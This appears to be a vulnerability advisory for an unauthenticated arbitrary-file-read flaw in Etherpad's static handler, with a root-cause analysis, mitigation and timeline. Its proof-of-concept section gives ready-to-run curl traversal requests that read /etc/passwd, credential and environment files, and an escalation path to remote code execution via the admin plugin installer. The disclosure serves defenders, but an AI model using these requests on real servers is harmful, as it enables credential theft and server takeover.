CVE-2026-114516 ‒ Etherpad Pre-auth Arbitrary File Read
Description
An unauthenticated path-traversal / arbitrary-file-read vulnerability in Etherpad’s /static/* handler allows a remote, unauthenticated user to read files on the server’s filesystem that are accessible to the operating-system user running Etherpad.
Vulnerability
The endpoint is mounted before the authentication middleware, so no credentials, session, or configuration change are required. For example, a request such as:
GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwdcan return /etc/passwd.
The file-read capability could lead to full server compromise.
On a typical deployment, files such as settings.json, credentials.json, or /proc/self/environ may disclose the administrator password.
An attacker could then obtain an administrator session and use the administrator plugin installer to achieve remote code execution.
Details
Etherpad serves plugin static assets through src/node/utils/Minify.ts.
The request path is first passed through the canonical path sanitizer, src/node/utils/sanitizePathname.ts.
That sanitizer converts backslashes to forward slashes only on Windows:
// src/node/utils/sanitizePathname.ts:11-20p = pathApi.normalize(p);if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\' in the input// pathname would not be normalized away before being converted to '../'.if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');On Linux, a backslash is an ordinary filename byte.
An input segment such as ......\\test therefore contains no . or .. path components and passes the checks in sanitizePathname unchanged.
The project’s test suite confirms this behaviour: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths, returned unchanged.
The vulnerability occurs because Minify.ts then performs the Windows-only backslash conversion unconditionally, after the sanitizer has run.
The code comment says that this conversion cannot introduce traversal because sanitizePathname has already removed all ..\\ substrings; that assumption is false on POSIX systems:
// src/node/utils/Minify.ts:171-186const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);if (match) { const library = match[1]; const libraryPath = match[2] || ''; if (plugins.plugins[library] && match[3]) { const plugin = plugins.plugins[library]; const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved // ... "This conversion does not introduce a directory // traversal vulnerability because all '..\\' substrings have already been removed by // sanitizePathname." // <-- FALSE on POSIX filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check }}After this conversion, the string becomes a real traversal path (for example, /src/static/../../../../etc/passwd).
There is no re-normalisation or containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile).
Because path.join at line 179 produces an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR.
POSIX path.resolve collapses surplus .. segments at /, so the payload does not need an exact traversal depth.
Pre-authentication route
The route is registered through the expressPreSession hook:
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" }}// src/node/hooks/express/static.ts:38app.all('/static/*filename', minify);The expressPreSession hook runs before the authentication middleware:
// src/node/hooks/express.ts:244-247await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered hereapp.use(exports.sessionMiddleware);app.use(webaccess.checkAccess); // auth runs AFTERThe plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo-plugin ep_etherpad-lite with package.realPath = /src.
URL decoding
There are two decoding details relevant to exploitation:
- Express 5 /
path-to-regexpv8 decodes wildcard parameters per segment, once, using(v) => v.split('/').map(decodeURIComponent). Consequently,req.params.filename.join('/')(Minify.ts:147) produces the once-decoded path passed to the sanitizer. %5C(encoded backslash) is the working separator.%2Fdecodes to/, is split again, and is rejected by thesplit('/')[0] === '..'check.
Proof of concept (PoC)
This PoC applies to a default production deployment, without special configuration, on Linux. Examples include the Docker image and a systemd source installation.
Replace TARGET:9001 with the Etherpad instance.
1. Read /etc/passwd or another file without authentication
--path-as-is prevents the client from normalising the traversal path:
curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'Other high-value file reads can use more .. segments than necessary; the surplus is absorbed at /.
Read the administrator password and secrets through /proc/self/cwd:
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'On Docker Compose deployments, the administrator password is an environment variable:
curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'Each response returns the raw file bytes. For extension-less targets, the response has a harmless Content-Type: false header; Node coerces the value and does not throw.
2. Escalate to remote code execution
Recover the administrator credential from the files read in step 1, then mint an administrator session:
curl -i -X POST 'http://TARGET:9001/admin-auth/' \ -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"# -> 200 + Set-Cookie: <prefix>express_sid=...Using the express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace. This namespace is gated only on session.user.is_admin (src/node/hooks/express/adminplugins.ts:22).
Emit install for an attacker-controlled ep_* plugin. Etherpad requires the plugin’s code in-process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.
Mitigations
Update to the v3.3.3.
Timeline
| Date | Action |
|---|---|
| 28.07.2025 | Vulnerability reported via GitHub |
| 29.07.2026 | Fix released in new version v3.3.3 |
| 27.10.2026 | Publication of GitHub advisory |